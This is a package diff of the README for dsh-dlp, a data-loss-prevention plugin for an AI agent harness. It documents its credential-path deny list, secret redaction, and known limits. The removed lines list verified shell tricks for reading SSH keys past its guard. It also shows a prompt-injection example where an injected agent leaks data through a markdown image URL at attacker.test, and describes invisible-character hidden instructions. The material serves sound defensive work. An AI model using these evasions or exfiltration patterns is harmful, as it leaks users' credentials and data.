dsh-dlp 0.3.0 โ†’ 0.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,229 +3,56 @@
3
3
  Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
4
4
  built as an out-of-repo plugin.
5
5
 
6
- It does six things:
6
+ ๐Ÿ“– **[Full documentation](https://charlotten7.github.io/dsh-dlp/)**
7
+
8
+ ## What it does
7
9
 
8
10
  1. **Denies credential-file access and secrets bound for the network** โ€” unconditionally, from
9
- `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
10
- credential stores, following symlinks first.
11
- 2. **Redacts secrets out of tool results** before the model reads them and before the session
12
- log records them, and withholds a result it cannot clean.
13
- 3. **Redacts secrets out of exported telemetry**, patching a hole where `DSH_TELEMETRY_MODE=FULL`
14
- ships message text, tool arguments, tool results and workspace paths in the clear.
15
- 4. **Strips the invisible characters that carry hidden instructions** out of tool results โ€”
16
- the Tags block and bidi overrides โ€” and counts the classes it will not touch because they
17
- also appear in legitimate text.
18
- 5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
19
- plugin rewrote after the session log recorded it. Both are partial mitigations for defects
20
- in the harness rather than in your configuration โ€”
21
- [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
22
- 6. **Writes an audit record for every decision** to its own sink โ€” rule id, rule version,
23
- offsets, and a keyed hash. Never the secret, and never the path or command that matched.
24
- `dsh-dlp report` reads that sink back.
25
-
26
- ---
11
+ `ctx.tools.guard()`, testing path-typed arguments against a table of credential stores and
12
+ following symlinks first.
13
+ 2. **Redacts secrets out of tool results** before the model reads them and before the session log
14
+ records them, withholding a result it cannot clean.
15
+ 3. **Redacts secrets out of exported telemetry**, closing a hole where `DSH_TELEMETRY_MODE=FULL`
16
+ ships message text, tool arguments, results and workspace paths in the clear.
17
+ 4. **Strips invisible characters that carry hidden instructions** โ€” the Tags block, bidi
18
+ overrides, runs of variation selectors โ€” and strips terminal control sequences from the audit
19
+ lane so a tool result cannot forge its own audit record.
20
+ 5. **Neutralises remote markdown images in assistant output** and detects a tool call another
21
+ plugin rewrote after the session log recorded it.
22
+ 6. **Asks before the agent writes a file that changes future behaviour** โ€” agent settings and
23
+ hooks, `CLAUDE.md`, `.cursor/rules/**`, `.vscode/tasks.json`, `.mcp.json`, git hooks, CI
24
+ workflows, shell startup files โ€” and before it writes a `*_BASE_URL` that would redirect a
25
+ provider credential.
26
+ 7. **Writes an audit record for every decision** โ€” rule id, rule version, offsets, keyed hash.
27
+ Never the secret, never the path or command that matched. `dsh-dlp report` reads it back.
27
28
 
28
29
  ## What this is not
29
30
 
30
- **This is not a containment boundary.** The plugin runs in-process, in the agent's own process,
31
- at the agent's own uid. Anything the agent can execute โ€” a `bash` command, a `run_code`
32
- program, a mounted MCP server โ€” can read every file the guard denies and can open its own
33
- sockets without the plugin seeing anything. The guard closes the path where *the model* asks
34
- for credential material through a tool. It does not stop code that is already running.
35
-
36
- If you need containment, that is the sandbox, `landlock-run`, filesystem permissions, and
37
- egress firewalling. Use this alongside them, not instead of them.
31
+ **This is not a containment boundary.** The plugin runs in-process, at the agent's own uid.
32
+ Anything the agent can execute โ€” a `bash` command, a `run_code` program, a mounted MCP server โ€”
33
+ can read every file the guard denies and open its own sockets without the plugin seeing anything.
34
+ It closes the path where *the model* asks for credential material through a tool. It does not stop
35
+ code that is already running. If you need containment, that is the sandbox, `landlock-run`,
36
+ filesystem permissions and egress firewalling.
38
37
 
39
- More limits worth stating up front:
38
+ Three limits worth knowing before you rely on it:
40
39
 
41
40
  - **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
42
- registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
43
- disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
44
- result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
45
- allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
46
- claim to have seen every call.
47
- - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
48
- shell-ish separators and each token is tested as a path. That catches an unobfuscated
49
- `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
50
- `cat ~/.s""sh/id_r""sa`, `find ~ -name 'id_*' -exec cat {} +`, a `$(printf ...)`
51
- reassembly, a base64 round-trip of the path, or `python3 -c` opening the file โ€” every one
52
- of those was verified to read the file with the guard abstaining. **Do not count this arm
53
- as a control.** A shell command is a program, not a path, and the only way to decide what
54
- it will open is to run it. If the agent has a shell, credential files need filesystem
55
- permissions or a sandbox, not this plugin.
56
- - **Tool arguments are never masked.** Model-visible implies logged: arguments are already in
57
- the session log and already presented to the model, so rewriting them would desynchronise
58
- the log from what actually ran. Argument-level DLP here is *denial with a reason the model
59
- can act on*.
60
- - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
61
- `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
62
- agent has assembled goes out as it stands and a secret already in the conversation reaches
63
- the provider. (The same waterfall's *response* side is writable, and that is where remote
64
- image destinations are neutralised โ€” see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
65
- returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
66
- happens *after* it, so a message arriving from outside can still be rewritten before it is
67
- logged or presented. This release does not do that; it is recorded here because the earlier
68
- flat claim that outbound redaction is impossible was too strong.
69
- - **A redacted value is not restored when the agent runs a command.** `ctx.shellEnv` rebuilds a
70
- trusted `DSH_*` namespace for every model shell call, which is a way to hand `bash` and
71
- `pwsh` โ€” and only those two โ€” the real value behind a placeholder without the model ever
72
- seeing it. Planned work, not implemented here.
73
- - **Detection is pattern-based.** A password, an internal token format, or a customer record
74
- has no recognisable structure and is not detected. Neither is any encoded form: base64,
75
- hex, URL-escaping and reversal all pass both tiers, as does a secret split across two
76
- content blocks. **A homoglyph defeats every rule in this package**, including the
77
- invisible-character ones.
78
- - **There is no entropy rule, and that was measured rather than assumed.** Shannon entropy is
79
- bounded by logโ‚‚L for a string of length L, so a 20-character token cannot score above 4.32
80
- bits per character however random it is. At the threshold where ordinary tool output โ€”
81
- hashes, minified bundles, base64 blobs, UUIDs โ€” produces no false positives, the miss rate
82
- is 100% for anything up to 22 characters, which is most of the credential formats worth
83
- catching. A detector that fires on the long ones the prefix rules already catch and misses
84
- the rest is not worth the false positives it costs.
85
- - **A secret containing a delimiter can still be split across two redactions.** Every reported
86
- span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
87
- secret whose own text contains one of those delimiters is covered by two placeholders with the
88
- delimiter left between them.
89
- - **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
90
- this release does not redact them.
91
- - **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
92
- the machine without going through an egress-capable tool.
93
- - **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
94
- outside the `session-telemetry/record` waterfall is not covered.
95
- - **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
96
- tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
97
- are denied wholesale there, plus reads of the credential material inside it.
98
-
99
- ---
100
-
101
- ## Mitigations for defects in the harness itself
102
-
103
- Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
104
- deployment's configuration. **None of them closes its channel**, an upstream fix is better in
105
- all three cases, and each is written up in `../disclosures/findings/`. They are here because we
106
- build on these seams today and wanted the accident case narrowed while the upstream question is
107
- open.
108
-
109
- ### Remote markdown images in assistant output (finding 001)
110
-
111
- The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
112
- and the harness sets no Content-Security-Policy. An injected agent emitting
113
- `![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
114
- request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
115
- can observe it.
41
+ registered ahead of ours. `ctx.tools.guard()` is order-independent only because it has no allow
42
+ arm.
43
+ - **The shell-command arm is advisory pattern-matching.** It catches an unobfuscated
44
+ `cat ~/.ssh/id_rsa` and nothing that tries โ€” one glob character, a `$(printf โ€ฆ)` reassembly or
45
+ `python3 -c` all defeat it, each verified. **Do not count this arm as a control.**
46
+ - **Detection is pattern-based.** No entropy rule (measured, not assumed: at a false-positive-free
47
+ threshold the miss rate is 100% below 22 characters). Encoded forms pass. A homoglyph defeats
48
+ every rule in this package.
116
49
 
117
- This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
118
- markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
119
-
120
- ```
121
- ![receipt](https://attacker.test/p?d=c2VjcmV0) -> ![receipt](dsh-dlp-blocked-remote-image)
122
- ```
123
-
124
- The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
125
- destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
126
- the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
127
- rendered answer agree, and it happens on streamed deltas too โ€” a destination arriving eight
128
- characters at a time is caught before any accumulation of it can render. The audit record names
129
- the **hostname only**, never the path or query string, because that is where an exfiltration
130
- payload rides.
131
-
132
- What it does not close:
133
-
134
- - **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
135
- `[ref]: https://โ€ฆ` definition elsewhere) still renders and still fetches. We do not neutralise
136
- those, because the definition is shared with ordinary links and killing it would break them.
137
- - **A destination form the pattern does not model gets through** โ€” an alt text containing `]`,
138
- unusual percent-encodings, or any future renderer-accepted syntax.
139
- - **Reasoning text is not touched**, because the UI renders it as plain text rather than
140
- markdown. If that changes upstream, this stops covering it.
141
- - Raw HTML needs no handling: the renderer keeps `<img โ€ฆ>` as literal text and no HTML enters
142
- the DOM. That is upstream doing the right thing, and it is why this only has to handle
143
- markdown.
144
- - **This is a real behavioural change.** An assistant answer that legitimately links an image
145
- loses it โ€” the user sees the alt text instead of the picture. That is why it is a switch:
146
- `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
147
- images should turn it off and set a CSP at whatever serves the UI instead.
148
- - **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
149
- every form, every client, and every channel of this shape at once. This plugin's version
150
- covers the common syntax on one seam. Prefer the directive.
151
-
152
- ### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
153
-
154
- The registry deep-freezes `exec.arguments` but does not freeze the execution object until
155
- results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
156
- `exec.name` โ€” and reassigning `exec.name` **changes which tool body runs** โ€” while the agent
157
- loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
158
- durable record then describes a call that never happened, and nothing warns anyone.
159
-
160
- This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
161
- waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
162
- **denied**, with an audit record naming which field changed and, when the name changed, the tool
163
- the log recorded:
164
-
165
- ```
166
- dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
167
- log recorded it, so the log and the presented call describe something other than what would
168
- have run. The session log records a call to "safe". ...
169
- ```
170
-
171
- What it does not close:
172
-
173
- - **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
174
- plugin does not own, which would break `tools/execute` wrappers that legitimately replace
175
- `exec.signal`. The tool body does not run, but the mutation still happened.
176
- - **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
177
- runs before listeners registered earlier โ€” but a listener registered *later* with the same
178
- option runs ahead of it and would be snapshotted after its own rewrite.
179
- - **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
180
- scoped dispatches this listener does not receive pass unremarked rather than being denied.
181
- - **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
182
- `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
183
- nothing here is even consulted.
184
- - **The upstream fix is better**: two `Object.defineProperty(execution, โ€ฆ, { writable: false })`
185
- calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
186
- makes the rewrite impossible or fatal at the source instead of denying a call downstream of
187
- it. This check is not configurable, for the same reason the rest of the floor is not.
188
-
189
- ### The telemetry redactor cannot run under the shipped default (finding 008)
190
-
191
- A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
192
- shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
193
- constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
194
- leak โ€” it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
195
-
196
- When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
197
- disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
198
- dispatch:
199
-
200
- ```
201
- dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
202
- sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
203
- plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
204
- leak โ€” it means the redaction rules are unverified, and they begin running the moment
205
- telemetry is turned on. Informational only: the plugin's other seams are unaffected.
206
- ```
207
-
208
- What it does not close:
209
-
210
- - **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
211
- for most deployments; the plugin mounts and every other seam runs normally.
212
- - **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
213
- bundle's default expression for a `mode` a deployment can also set directly, so guessing at
214
- the variable would be wrong. If a backend discloses `full` or `feedback-only` while
215
- dispatching nothing, this says nothing.
216
- - **A backend that mounts after this plugin is answered late.** The check runs at mount if the
217
- service is already there and otherwise at the first session event, because absence at mount
218
- cannot be told apart from a load order.
219
- - **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
220
- under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
221
- Either makes the trap visible for every listener, not only ours.
222
-
223
- ---
50
+ [The full list of limits โ†’](https://charlotten7.github.io/dsh-dlp/)
224
51
 
225
52
  ## Install
226
53
 
227
- A profile carrying only `@deepseek-ai/dsh-base` has no agent loop. Add a runnable
228
- bundle alongside it, or the profile boots with nothing for this plugin to guard:
54
+ A profile carrying only `@deepseek-ai/dsh-base` has no agent loop, so add a runnable bundle
55
+ alongside it or there is nothing for this plugin to guard:
229
56
 
230
57
  ```sh
231
58
  dsh plugin --profile <name> add @deepseek-ai/dsh-headless@0.1.0-rc.6
@@ -233,355 +60,65 @@ dsh plugin --profile <name> add dsh-dlp
233
60
  dsh --profile <name> --dump-config # the dsh-dlp row should appear
234
61
  ```
235
62
 
236
- Pin `@deepseek-ai/dsh-headless` explicitly: its npm `latest` tag still points at
237
- `0.0.1-rc.1`, so an unpinned install silently resolves to a much older harness.
238
-
239
- The package ships a `cordis.patch.yml` bundle layer, so listing it in a profile's
240
- `dsh.profile.bundles` is enough to mount it with working defaults.
63
+ Any harness from `0.1.0-rc.6` onwards in the `0.1.x` line works: the peer ranges accept it and CI
64
+ runs the end-to-end suite against every published rc in that range.
241
65
 
242
- **Install from the registry or a packed tarball, not from a git spec.**
243
- `dsh plugin add github:CharlotteN7/dsh-dlp` resolves and writes the dependency,
244
- but `lib/` is a build output that git does not carry and no `prepare` script
245
- rebuilds it, so the row mounts and then fails to load. To install from a
246
- checkout, build first and add the tarball:
66
+ Pin `@deepseek-ai/dsh-headless` explicitly โ€” its npm `latest` tag still points at `0.0.1-rc.1`.
67
+ The package ships a `cordis.patch.yml` bundle layer, so listing it in `dsh.profile.bundles` mounts
68
+ it with working defaults.
247
69
 
248
- ```sh
249
- git clone https://github.com/CharlotteN7/dsh-dlp && cd dsh-dlp
250
- pnpm install && pnpm run build && pnpm pack
251
- dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
252
- ```
70
+ **Install from the registry or a packed tarball, not from a git spec:** `lib/` is a build output
71
+ git does not carry and no `prepare` script rebuilds it, so a git-spec row mounts and then fails to
72
+ load.
253
73
 
254
74
  ## Configure
255
75
 
256
76
  ```yaml
257
77
  - id: dsh-dlp
258
- name: 'dsh-dlp'
259
78
  config:
260
79
  auditLog: /var/log/dsh-dlp.audit.jsonl
261
80
  redactionKeyFile: /var/lib/dsh/dsh-dlp.redaction-key
262
- policyFile: ./.dsh-dlp.yml # optional, lowest trust โ€” see below
263
- maxScanBytes: 1048576
81
+ policyFile: ./.dsh-dlp.yml # optional, lowest trust
264
82
  breadthTier: true
265
83
  resultRedaction: true
266
84
  telemetryRedaction: true
267
- remoteImageNeutralization: true
268
- redactTelemetryWorkspacePaths: true
85
+ configWriteAsk: true
269
86
  ```
270
87
 
271
- `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out
272
- of version control: it is what makes a placeholder's hash keyed rather than a bare digest that
273
- anyone holding a candidate secret could confirm.
88
+ `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out of
89
+ version control โ€” it is what makes a placeholder's hash keyed rather than a bare digest anyone
90
+ holding a candidate secret could confirm.
274
91
 
275
92
  **The guard floor has no configuration.** Credential-path denial and secret-argument denial are
276
- security invariants, not deployment-varying tunables, so there is no switch that turns them off.
277
-
278
- ### Configuration trust ranking
93
+ security invariants, not deployment-varying tunables. A repo-local `policyFile` is the lowest
94
+ trust rank and may only *tighten*: add deny patterns, add egress tool names, raise a severity,
95
+ switch a pass on. Any downgrade makes the whole file invalid.
279
96
 
280
- | Rank | Source | May |
281
- |---|---|---|
282
- | 1 | invariants compiled into the package | everything; not configurable |
283
- | 2 | `cordis.yml` / bundle patch config | set every field |
284
- | 3 | `policyFile` โ€” a repo-local YAML file | **tighten only** |
285
-
286
- Rank 3 is attacker-controlled โ€” a hostile repository ships one, and a prompt-injected agent can
287
- write one โ€” so it may only add deny patterns, add egress-capable tool names, raise a severity,
288
- and switch a redaction pass on:
289
-
290
- ```yaml
291
- v: 1
292
- addCredentialPaths:
293
- - id: acme/vault-token
294
- pattern: '(^|/)\.vault-token$'
295
- addEgressTools: [acme_publish]
296
- raiseSeverity:
297
- dsh-dlp/secret-assignment: high
298
- enable: [telemetryRedaction]
299
- ```
300
-
301
- Any other key, and any downgrade, makes the **whole file invalid**: it is reported on
302
- `process.stderr` and the deployment's logger, then ignored, never obeyed in part. There is no
303
- `disable`, no `removeCredentialPaths`, and no way to redirect the audit sink. The file is
304
- parsed with `js-yaml` under `JSON_SCHEMA`, so a `!!js/function` tag is a parse error rather
305
- than code execution, and it never goes near the Cordis loader.
306
-
307
- A missing `policyFile` is not an error โ€” it means the workspace ships no policy. The
308
- recommended value is workspace-relative, so failing the mount would stop `dsh` from starting in
309
- every repository without one, and would let a hostile repository remove the floor by shipping a
310
- broken file. An added `pattern` is capped at 200 characters and rejected if it nests a
311
- quantifier inside a quantified group: `^(a+)+$` blocks the synchronous guard for seconds on a
312
- 27-character path. That check is a heuristic, not a proof of linear-time matching.
313
-
314
- ---
315
-
316
- ## What gets denied
317
-
318
- **Credential paths named in a path-typed argument**, for every tool: `.env` and `.env.*`
319
- directories (but not `.env.example`), anything under `.ssh/`,
320
- `id_rsa`/`id_ed25519`/`id_ecdsa`/`id_dsa` and their backups, `~/.aws/` and `~/.azure/`,
321
- `$DSH_HOME/.credentials.yaml`, `.netrc`, `.npmrc`, `.pypirc`, `.git-credentials`,
322
- `~/.config/gh/`, `~/.kube/` and `kubeconfig*`, `/etc/kubernetes/*.conf`,
323
- `~/.docker/config.json` and `.dockercfg`, gcloud credential files, `rclone.conf`, `.pgpass`,
324
- `.my.cnf`, `*service-account*.json`, `*.pem`/`*.p12`/`*.pfx`/`*.jks`/`*.keystore`/`*.key`/
325
- `*.asc`/`*.gpg`, and any file whose name ends in a delimited `credential(s)`, `secret(s)` or
326
- `token(s)` โ€” which covers `.vault-token`, `.gem/credentials`, `.cargo/credentials.toml`,
327
- `.terraform.d/credentials.tfrc.json` and a Kubernetes service-account `token`. Source and
328
- documentation extensions are excluded from that last rule, so `src/auth/token.ts` stays
329
- readable.
330
-
331
- Also denied for every tool: this plugin's own `redactionKeyFile` and `auditLog`.
332
-
333
- **`$DSH_HOME` is split by direction.** Every *write* under the harness home is denied, for
334
- every tool: editing a profile's `cordis.yml` mounts an arbitrary plugin, which is the exact
335
- threat that makes the directory worth protecting. *Reads* are denied only where the contents
336
- are credentials โ€” `$DSH_HOME/.credentials.yaml`, `$DSH_HOME/sessions/**`, `$DSH_HOME/.env`,
337
- this plugin's key file and audit log, and any `*.key` โ€” so the installed plugin tree under
338
- `profiles/node_modules/` and every profile manifest stay readable. A blanket read denial there
339
- made debugging a plugin, reading a profile, and running the sibling `dsh-plugin-inspector`
340
- against an installed tree impossible, with a message saying the denial could not be overridden.
341
-
342
- Which side of that split a call lands on is decided by the tool's name, from a table of tools
343
- that can only look: `read`, `read_image`, `glob`, `grep`, `lsp`, the session-query tools,
344
- `job_list`, `job_output`, `terminal_list`, `terminal_read`, `list_agents`, `get_goal`.
345
- Every other name โ€” every shell, every editor, every `mcp__*` tool, and any tool this build has
346
- never heard of โ€” is treated as able to write, so a new tool is denied until it is classified.
347
- A shell is never on the read side even for a command that only reads: a shell that can `cat` a
348
- profile can also rewrite it.
349
-
350
- Paths are normalised first โ€” `..` traversal, `~`, Windows separators, quoting and a trailing
351
- slash do not evade the table โ€” and then resolved with `realpathSync`, so a symlink named
352
- `notes.txt` pointing at `~/.ssh/id_rsa` is denied by what it resolves to. Only path-typed
353
- argument keys are tested (`file_path`, `path`, `paths`, `notebook_path`, `cwd`, `command`, โ€ฆ).
354
- File content is never treated as a path: writing a `.gitignore` that lists `.env` is ordinary
355
- work, not an attempt to read a credential store.
356
-
357
- `$DSH_HOME/.credentials.yaml` is on that list because core permits reading it. The harness has
358
- no file-read restriction in any mode โ€” reads pass through untouched in every permission mode โ€”
359
- so the provider token the agent authenticates with is agent-readable. That is the specific gap
360
- this plugin closes.
361
-
362
- **Some secrets in arguments**, for tools that can move data off the machine. Local tools
363
- (`read`, `glob`, `grep`, `write`, `edit`, `todo_write`, the session-query tools, โ€ฆ) are exempt.
364
- Everything else โ€” every shell, `run_code`, the web tools, every `mcp__*` tool, and any tool
365
- this build has never heard of โ€” is treated as egress-capable. Unknown defaults to the safe side.
366
-
367
- What this arm actually catches is a whole, unencoded secret of `high` severity or above sitting
368
- in one argument string. `A=ghp_firsthalf; B=โ€ฆ; curl -H "Bearer $A$B"`, a base64 round-trip, and
369
- `$(cat ~/.token)` all defeat it; a `password=` assignment is `medium` and is redacted rather
370
- than denied. Treat it as a guard against accident, not against an adversary.
371
-
372
- A denial reads like this, and reaches the model as the tool's error result. It names the rule
373
- and a keyed hash, never the path โ€” a path is itself sensitive, and this string is written to
374
- the model and, in hashed form, to the audit sink:
375
-
376
- ```
377
- dsh-dlp denied "read": one of its path arguments is credential material (rule
378
- dsh-dlp/path-aws, keyed hash ca9cad27f2b5). Reading or passing credential files through a
379
- tool is blocked by policy and cannot be overridden. Ask the user to supply the value you
380
- need, or use a path that is not a credential store.
381
- ```
382
-
383
- ---
384
-
385
- ## What gets redacted
386
-
387
- A redacted region becomes:
388
-
389
- ```
390
- [REDACTED:dsh-dlp:slack-token:ca9cad27f2b5]
391
- ```
392
-
393
- The hash is `HMAC-SHA256(installation key, replaced text)` truncated to 12 hex characters. It
394
- is **stable**: the same secret produces the same placeholder everywhere, so an operator can see
395
- that one token appeared in four different tool results without the plugin ever writing the
396
- token down.
397
-
398
- For a successful tool result the plugin replaces the canonical `value`, which makes the registry
399
- re-validate the tool's `output.schema`, re-run `output.render()` and re-derive
400
- `presentationMeta()` โ€” so the value, the model-facing content and the persisted card are all
401
- redacted from one replacement. That arm is not a preference: the alternative, replacing
402
- `content`, leaves `{...result}` in place, and `value` and `meta` go into the session log
403
- exactly as the tool produced them. A successful result therefore never settles for the content
404
- arm, which is used only for a failed result (where replacing the value throws) or where the
405
- persisted surfaces are already clean.
406
-
407
- When neither works โ€” a failed result whose `meta` carries a secret, or a value that still scans
408
- dirty after redaction โ€” the result is **withheld**: the plugin returns a `block` decision, the
409
- model gets an error naming the rule and the hash, and nothing dirty reaches the log. Blocking
410
- is the only decision that replaces the whole result, so it is the only way to drop `meta`.
411
-
412
- Two consequences worth knowing:
413
-
414
- - Replacing a value re-validates it against the tool's `output.schema`, and a schema that pins
415
- that string โ€” an `enum`, a `const`, a `oneOf` branch it selects โ€” would reject the
416
- placeholder. The plugin asks that question first and withholds the result with the message
417
- above, rather than letting the registry raise a `ToolOutputError` that names a validation
418
- failure and tells the model nothing it can act on. The call still fails; it fails
419
- comprehensibly. Where the plugin cannot answer the question โ€” no schema resolved, or a
420
- schema whose own value it cannot validate โ€” the registry decides as before.
421
- - Redaction is per-detection, and each span grows to the nearest delimiter โ€” whitespace,
422
- quotes, `=`, `:`, `,`, brackets. A line of minified JSON loses the field that matched, not
423
- the whole line.
424
-
425
- Replacement runs before the `tool/result` session event is appended, so the durable log records
426
- the redacted copy.
427
-
428
- ## Detection
429
-
430
- Two tiers:
431
-
432
- - **Tier 1**, synchronous and owned by this package: prefix-anchored token formats (AWS,
433
- GitHub, Slack, Stripe, OpenAI, Anthropic, Google, npm), PEM private-key blocks, JWTs,
434
- credential-bearing URLs, Slack/Discord/Teams webhook URLs, and high-signal secret
435
- assignments. This is the tier the guard and the telemetry listener use, because both of
436
- those seams are synchronous, and it is never capped.
437
- - **Tier 2**, [`@secretlint/core`](https://github.com/secretlint/secretlint) with the
438
- recommended preset โ€” 28 maintained rules, in-process, no subprocess. Used at
439
- `tools/pre-execute` and `tools/post-execute`, the two seams that can await. **The telemetry
440
- seam cannot reach it**: `session-telemetry/record` returns a record synchronously, so a
441
- secret only secretlint recognises survives telemetry export.
442
-
443
- A tool result is scanned twice: each of its strings on its own by tier 1, and all of them
444
- joined by newlines through both tiers. The joined pass finds what no single string reproduces โ€”
445
- a PEM block arriving as one line per array element, which is exactly the shape `read` produces.
446
-
447
- ### Invisible characters
448
-
449
- Tier 1 also looks for characters that hide text from the person reading a tool result while
450
- the model still reads it. The harness strips directional controls in exactly one place โ€”
451
- session titles โ€” and never on the tool-result path.
452
-
453
- | Class | Code points | What happens |
454
- |---|---|---|
455
- | Tags block | `U+E0000โ€“U+E007F` | replaced |
456
- | Bidi overrides and isolates | `U+202Aโ€“U+202E`, `U+2066โ€“U+2069` | replaced |
457
- | Zero-width | `U+200Bโ€“U+200D`, `U+2060`, `U+FEFF` | counted only |
458
- | Bidi marks | `U+061C`, `U+200Eโ€“U+200F` | counted only |
459
- | Variation selectors | `U+FE00โ€“U+FE0F`, `U+E0100โ€“U+E01EF` | counted only |
460
-
461
- The first two have no legitimate use in tool output โ€” the Tags block is a full invisible ASCII
462
- alphabet, which is what makes it the standard carrier for a hidden instruction. The last three
463
- do: `U+200D` joins an emoji sequence and a variation selector picks a glyph, so replacing them
464
- would corrupt ordinary text. They are counted in the audit record's `unicode` field and left
465
- alone, as a `medium` finding.
466
-
467
- Every class is `medium`, below the severity at which the guard floor denies, so an invisible
468
- character is never turned into a denial. A replaced run becomes an ordinary placeholder and,
469
- unlike a secret, is replaced exactly: an invisible character is not widened to its surrounding
470
- delimiters, so the visible word it hid inside survives.
471
-
472
- **A homoglyph defeats all of this**, and every other rule in this plugin. A Cyrillic `ะฐ` in
473
- `ะฐdmin` is a normal, visible, legitimately-encoded character; detecting it means UTS #39
474
- confusable tables, which is a data set and a different cost class. This plugin does not attempt
475
- it, and no rule here should be read as covering it.
476
-
477
- Measured cost of the invisible-character scan over 512 KB, median of 30 runs on an i9-12900H
478
- under Node 22.23.2:
479
-
480
- | Input | Cost |
481
- |---|---|
482
- | clean Latin-1 text | 0.002 ms |
483
- | one hidden instruction (69 characters) | 0.355 ms |
484
- | 7,653 separate runs | 7.9 ms |
485
- | 512 KB of alternating invisible characters (524,286 runs) | 56โ€“113 ms |
486
-
487
- Clean text is free because every character in the table is above `U+00FF`: the regular
488
- expression engine rejects a Latin-1 string on its encoding without scanning it. The last row is
489
- a crafted input, not a plausible one, and it is the only case that leaves the โ‰ค10 ms per result
490
- budget; `maxScanBytes` caps tier 2 only, so tier 1 always sees the whole result.
491
-
492
- Measured cost of a tier-2 scan: 0.78 ms at 1 KB, 0.91 ms at 16 KB, 2.22 ms at 128 KB, 5.11 ms
493
- at 512 KB. `maxScanBytes` caps **tier 2 only**, once per result, over the joined rendering;
494
- tier 1 always scans everything. When tier 2 saw less than the whole result the audit record
495
- says `truncatedScan: true`, and that record is written even when nothing was found, so a
496
- partial scan never looks like a clean one.
497
-
498
- ---
499
-
500
- ## Audit output
501
-
502
- One JSON object per line in `auditLog`. Nothing is ever written to the session log: the
503
- harness's `Session.append()` cannot set the envelope's `ignorable` flag, and an out-of-repo
504
- event type makes the user's next resume refuse the whole session. Each record therefore carries
505
- its own identity.
506
-
507
- ```json
508
- {
509
- "v": 1,
510
- "time": "2026-08-15T19:44:33.861Z",
511
- "kind": "result-redaction",
512
- "decisionId": "dlp-1e8ab1bb-5c8d-4410-b98d-39b83037ea63",
513
- "tool": "read",
514
- "callId": "mock-call-1",
515
- "rootCallId": "mock-call-1",
516
- "sessionId": "session-880b9ece-3633-427d-b0a8-cf202ea09917",
517
- "turn": 1,
518
- "step": 1,
519
- "spans": [
520
- {
521
- "ruleId": "dsh-dlp/slack-token",
522
- "ruleVersion": 1,
523
- "severity": "critical",
524
- "start": 17,
525
- "end": 73,
526
- "hash": "ca9cad27f2b5",
527
- "path": "/lines/1/text"
528
- }
529
- ]
530
- }
531
- ```
532
-
533
- `kind` is one of `guard-deny`, `pre-execute-deny`, `execution-mutation`, `result-redaction`,
534
- `telemetry-redaction`, `assistant-image-neutralized`. An `execution-mutation` record carries
535
- `mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
536
- `assistant-image-neutralized` record carries `host` โ€” the hostname of the blocked destination
537
- and nothing else from the URL.
538
